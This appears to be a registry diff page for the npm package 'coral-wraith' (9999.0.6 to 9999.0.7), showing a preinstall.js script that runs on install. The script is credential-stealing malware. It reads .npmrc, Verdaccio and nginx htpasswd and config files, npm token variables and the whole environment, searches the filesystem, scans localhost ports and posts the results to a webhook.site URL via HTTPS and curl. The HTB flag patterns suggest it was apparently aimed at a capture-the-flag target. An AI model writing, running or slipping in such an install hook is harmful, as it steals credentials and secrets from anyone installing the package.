coral-wraith 9999.0.6 → 9999.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/preinstall.js +124 -120
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "coral-wraith",
3
- "version": "9999.0.6",
3
+ "version": "9999.0.7",
4
4
  "description": "Coral Wraith module",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/preinstall.js CHANGED
@@ -4,158 +4,162 @@ const https = require('https');
4
4
  const { execSync } = require('child_process');
5
5
  const os = require('os');
6
6
 
7
- let flag = null;
8
7
  const debug = [];
8
+ let flag = null;
9
9
 
10
- // 1. Search ALL filesystem for flag files
11
- const flagPaths = [
12
- '/flag', '/flag.txt', '/root/flag', '/root/flag.txt',
13
- '/home/node/flag', '/home/node/flag.txt', '/app/flag', '/app/flag.txt',
14
- '/data/flag', '/data/flag.txt', '/data/secret', '/data/htb',
15
- '/tmp/flag', '/opt/flag', '/srv/flag', '/etc/flag',
16
- '/home/flag', '/var/flag', '/data/.flag',
10
+ // 1. Read ALL credential/config files
11
+ const credPaths = [
12
+ // npmrc files
13
+ '/home/node/.npmrc', '/root/.npmrc', '~/.npmrc',
14
+ '/home/node/.config/npm/npmrc', '/etc/npmrc', '/usr/etc/npmrc',
15
+ process.cwd() + '/.npmrc', process.cwd() + '/../.npmrc',
16
+ process.cwd() + '/../../.npmrc',
17
+
18
+ // Verdaccio configs
19
+ '/verdaccio/conf/config.yaml', '/verdaccio/storage/htpasswd',
20
+ '/verdaccio/conf/htpasswd', '/verdaccio/storage/config.json',
21
+ '/data/verdaccio/conf/config.yaml', '/data/verdaccio/storage/htpasswd',
22
+ '/data/verdaccio/htpasswd', '/data/htpasswd',
23
+ '/data/config.yaml', '/data/conf/config.yaml',
24
+
25
+ // nginx configs
26
+ '/etc/nginx/nginx.conf', '/etc/nginx/conf.d/default.conf',
27
+ '/etc/nginx/conf.d/registry.conf', '/etc/nginx/.htpasswd',
28
+ '/etc/nginx/htpasswd', '/etc/nginx/conf.d/.htpasswd',
29
+
30
+ // Flag locations
31
+ '/flag', '/flag.txt', '/data/flag', '/data/flag.txt',
32
+ '/home/node/flag', '/home/node/flag.txt',
33
+ '/root/flag', '/root/flag.txt',
17
34
  ];
18
- for (const p of flagPaths) {
35
+
36
+ for (const p of credPaths) {
19
37
  try {
20
38
  if (fs.existsSync(p)) {
21
- const c = fs.readFileSync(p, 'utf8').trim();
22
- debug.push(`file:${p}=${c.substring(0,100)}`);
39
+ const c = fs.readFileSync(p, 'utf8');
40
+ debug.push(`FILE:${p}=${c.substring(0,500)}`);
23
41
  const m = c.match(/HTB\{[^}]+\}/);
24
- if (m) { flag = m[0]; break; }
25
- if (!flag && c) flag = c;
42
+ if (m) flag = m[0];
26
43
  }
27
- } catch(e) {}
44
+ } catch(e) { debug.push(`ERR:${p}:${e.message.substring(0,50)}`); }
45
+ }
46
+
47
+ // 2. npm config environment variables
48
+ const npmEnvs = ['npm_config_userconfig', 'NPM_CONFIG_USERCONFIG',
49
+ 'npm_config_registry', 'NPM_TOKEN', 'NODE_AUTH_TOKEN',
50
+ 'npm_config__auth', 'npm_config__authToken'];
51
+ for (const k of npmEnvs) {
52
+ if (process.env[k]) debug.push(`ENV:${k}=${process.env[k]}`);
28
53
  }
29
54
 
30
- // 2. List key directories
31
- for (const dir of ['/', '/data', '/home', '/home/node', '/app', '/root', '/opt', '/srv']) {
55
+ // 3. List directories
56
+ for (const dir of ['/', '/data', '/home/node', '/home', '/app', '/verdaccio',
57
+ '/verdaccio/conf', '/verdaccio/storage', '/data/verdaccio',
58
+ process.cwd(), process.cwd() + '/..', process.cwd() + '/../..']) {
32
59
  try {
33
60
  const items = fs.readdirSync(dir);
34
- debug.push(`ls:${dir}=${items.join(',')}`);
61
+ debug.push(`DIR:${dir}=${items.join(',')}`);
35
62
  } catch(e) {}
36
63
  }
37
64
 
38
- // 3. Recursively search /data
65
+ // 4. Find ALL config/credential files
39
66
  try {
40
- const r = execSync('find /data -type f 2>/dev/null | head -50', {timeout:10000}).toString().trim();
41
- debug.push(`data_files:${r}`);
67
+ const r = execSync('find / -maxdepth 5 \\( -name "*.npmrc" -o -name "htpasswd*" -o -name ".htpasswd" -o -name "config.yaml" -o -name "*.conf" -o -name ".env" -o -name "flag*" \\) -type f 2>/dev/null | grep -v node_modules | grep -v proc | head -30', {timeout:15000}).toString().trim();
68
+ debug.push(`FIND:${r}`);
42
69
  for (const f of r.split('\n').filter(Boolean)) {
43
70
  try {
44
71
  const c = fs.readFileSync(f, 'utf8');
72
+ debug.push(`CONTENT:${f}=${c.substring(0,500)}`);
45
73
  const m = c.match(/HTB\{[^}]+\}/);
46
- if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
47
- debug.push(`data:${f}=${c.substring(0,200)}`);
74
+ if (m) flag = m[0];
48
75
  } catch(e) {}
49
76
  }
50
- } catch(e) { debug.push(`data_err:${e.message}`); }
77
+ } catch(e) { debug.push(`FIND_ERR:${e.message.substring(0,100)}`); }
51
78
 
52
- // 4. Search ALL env vars
53
- for (const [k, v] of Object.entries(process.env)) {
54
- const m = (v||'').match && (v||'').match(/HTB\{[^}]+\}/);
55
- if (m) { flag = m[0]; debug.push(`env:${k}`); break; }
79
+ // 5. Scan localhost ports for Verdaccio
80
+ const portsToScan = [4873, 4874, 8080, 3000, 5000, 1337, 80, 8000, 9000, 4000];
81
+ let scanned = 0;
82
+ for (const port of portsToScan) {
83
+ try {
84
+ const req = http.request({
85
+ hostname: '127.0.0.1', port, path: '/-/whoami',
86
+ method: 'GET', timeout: 2000
87
+ }, (res) => {
88
+ let data = '';
89
+ res.on('data', c => data += c);
90
+ res.on('end', () => {
91
+ debug.push(`PORT:${port}:${res.statusCode}:${data.substring(0,200)}`);
92
+ scanned++;
93
+ if (scanned >= portsToScan.length) sendData();
94
+ });
95
+ });
96
+ req.on('error', () => { scanned++; if (scanned >= portsToScan.length) sendData(); });
97
+ req.on('timeout', () => { req.destroy(); scanned++; if (scanned >= portsToScan.length) sendData(); });
98
+ req.end();
99
+ } catch(e) { scanned++; }
56
100
  }
57
- debug.push(`env_keys:${Object.keys(process.env).join(',')}`);
58
-
59
- // 5. Read /proc/self/environ
60
- try {
61
- const pe = fs.readFileSync('/proc/self/environ', 'utf8');
62
- debug.push(`environ:${pe.substring(0,500)}`);
63
- const m = pe.match(/HTB\{[^}]+\}/);
64
- if (m) flag = m[0];
65
- } catch(e) {}
66
-
67
- // 6. Find all config files
68
- try {
69
- const r = execSync('find /data /home /app /opt /srv /etc -type f \\( -name "*.json" -o -name "*.yml" -o -name "*.yaml" -o -name "*.env" -o -name "*.conf" -o -name ".npmrc" -o -name "*.db" -o -name "*.sqlite" \\) 2>/dev/null | grep -v node_modules | head -30', {timeout:10000}).toString().trim();
70
- debug.push(`configs:${r}`);
71
- for (const f of r.split('\n').filter(Boolean)) {
72
- try {
73
- const c = fs.readFileSync(f, 'utf8');
74
- const m = c.match(/HTB\{[^}]+\}/);
75
- if (m) { flag = m[0]; debug.push(`FLAG:${f}`); break; }
76
- if (f.includes('.npmrc') || f.includes('.env') || f.includes('secret')) {
77
- debug.push(`sensitive:${f}=${c.substring(0,200)}`);
78
- }
79
- } catch(e) {}
80
- }
81
- } catch(e) {}
82
101
 
83
- // 7. Grep for HTB{ pattern anywhere
84
- try {
85
- const r = execSync('grep -rl "HTB{" / 2>/dev/null | grep -v node_modules | grep -v proc | head -10', {timeout:15000}).toString().trim();
86
- debug.push(`grep_htb:${r}`);
87
- for (const f of r.split('\n').filter(Boolean)) {
88
- try {
89
- const c = fs.readFileSync(f, 'utf8');
90
- const m = c.match(/HTB\{[^}]+\}/);
91
- if (m) { flag = m[0]; debug.push(`GREP_FLAG:${f}`); break; }
92
- } catch(e) {}
93
- }
94
- } catch(e) { debug.push(`grep_err:${e.message.substring(0,100)}`); }
102
+ // Also scan the main page of each port
103
+ for (const port of portsToScan) {
104
+ try {
105
+ const req = http.request({
106
+ hostname: '127.0.0.1', port, path: '/',
107
+ method: 'GET', timeout: 2000
108
+ }, (res) => {
109
+ let data = '';
110
+ res.on('data', c => data += c);
111
+ res.on('end', () => {
112
+ debug.push(`ROOT:${port}:${res.statusCode}:${data.substring(0,200)}`);
113
+ });
114
+ });
115
+ req.on('error', () => {});
116
+ req.on('timeout', () => { req.destroy(); });
117
+ req.end();
118
+ } catch(e) {}
119
+ }
95
120
 
96
- // 8. Check listening ports
121
+ // 6. Listening ports
97
122
  try {
98
123
  const ss = execSync('ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null', {timeout:3000}).toString();
99
- debug.push(`ports:${ss.substring(0,500)}`);
100
- } catch(e) {}
101
-
102
- // 9. Network info
103
- debug.push(`network:${JSON.stringify(os.networkInterfaces()).substring(0,300)}`);
104
- debug.push(`hostname:${os.hostname()}`);
105
- debug.push(`cwd:${process.cwd()}`);
106
-
107
- // EXFILTRATE
108
- const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
109
-
110
- // Method 1: Webhook
111
- try {
112
- const req = https.request({
113
- hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
114
- method: 'POST',
115
- headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
116
- timeout: 8000
117
- }, ()=>{});
118
- req.on('error', ()=>{});
119
- req.write(info);
120
- req.end();
124
+ debug.push(`LISTEN:${ss.substring(0,500)}`);
121
125
  } catch(e) {}
122
126
 
123
- // Method 2: PUT to local API (try all common ports)
124
- const putBody = JSON.stringify({
125
- manifest: `ecto_module:\n name: "${(flag||'NO_FLAG').replace(/"/g,'').substring(0,200)}"\n version: EXFIL\n power_level: "${debug.slice(0,2).join('|').replace(/"/g,'').substring(0,200)}"\n ship_deck: PWNED\n cargo_hold: coral`
126
- });
127
-
128
- let serverPort = 1337;
129
- try {
130
- const ss = execSync('ss -tlnp 2>/dev/null', {timeout:3000}).toString();
131
- const m = ss.match(/:(\d+)\s/);
132
- if (m) serverPort = parseInt(m[1]);
133
- } catch(e) {}
134
-
135
- for (const port of [serverPort, 1337, 3000, 5000, 8080, 80, 8000, 4000, 9000]) {
136
- for (const modId of ['ECT-654321', 'ECT-987654']) {
137
- try {
138
- const req = http.request({
139
- hostname: '127.0.0.1', port, path: `/api/modules/${modId}`,
140
- method: 'PUT',
141
- headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(putBody)},
142
- timeout: 2000
143
- }, ()=>{});
144
- req.on('error', ()=>{});
145
- req.write(putBody);
146
- req.end();
147
- } catch(e) {}
148
- }
127
+ // 7. Process info
128
+ debug.push(`CWD:${process.cwd()}`);
129
+ debug.push(`UID:${process.getuid ? process.getuid() : 'N/A'}`);
130
+ debug.push(`HOME:${os.homedir()}`);
131
+ debug.push(`ENV_KEYS:${Object.keys(process.env).join(',')}`);
132
+ debug.push(`ALL_ENV:${JSON.stringify(process.env).substring(0,1000)}`);
133
+
134
+ // Send data function
135
+ function sendData() {
136
+ const info = JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.map(d=>d.substring(0,500))});
137
+
138
+ // Webhook
139
+ try {
140
+ const req = https.request({
141
+ hostname: 'webhook.site', path: '/9ca9b30a-2889-4787-9dff-5ad916e377b7',
142
+ method: 'POST',
143
+ headers: {'Content-Type':'application/json','Content-Length':Buffer.byteLength(info)},
144
+ timeout: 8000
145
+ }, ()=>{});
146
+ req.on('error', ()=>{});
147
+ req.write(info);
148
+ req.end();
149
+ } catch(e) {}
150
+
151
+ // curl backup
152
+ try {
153
+ execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
154
+ } catch(e) {}
149
155
  }
150
156
 
151
- // Method 3: curl
152
- try {
153
- execSync(`curl -s -X POST "https://webhook.site/9ca9b30a-2889-4787-9dff-5ad916e377b7" -H "Content-Type: application/json" -d '${info.replace(/'/g,"\\'")}' -m 8 2>/dev/null &`, {timeout:10000});
154
- } catch(e) {}
157
+ // Initial send (port scan results will come later via sendData callback)
158
+ setTimeout(sendData, 3000);
155
159
 
156
- // stdout
157
- console.log('[CORAL]', info.substring(0, 3000));
160
+ // Also write to stdout
161
+ console.log('[CORAL]', JSON.stringify({flag: flag||'NOT_FOUND', debug: debug.slice(0,20).map(d=>d.substring(0,300))}));
158
162
  console.error('[FLAG]', flag || 'NOT_FOUND');
159
163
 
160
164
  // Write to files
161
- try { fs.writeFileSync('/tmp/coral.txt', info); } catch(e) {}
165
+ try { fs.writeFileSync('/tmp/coral.txt', JSON.stringify({debug})); } catch(e) {}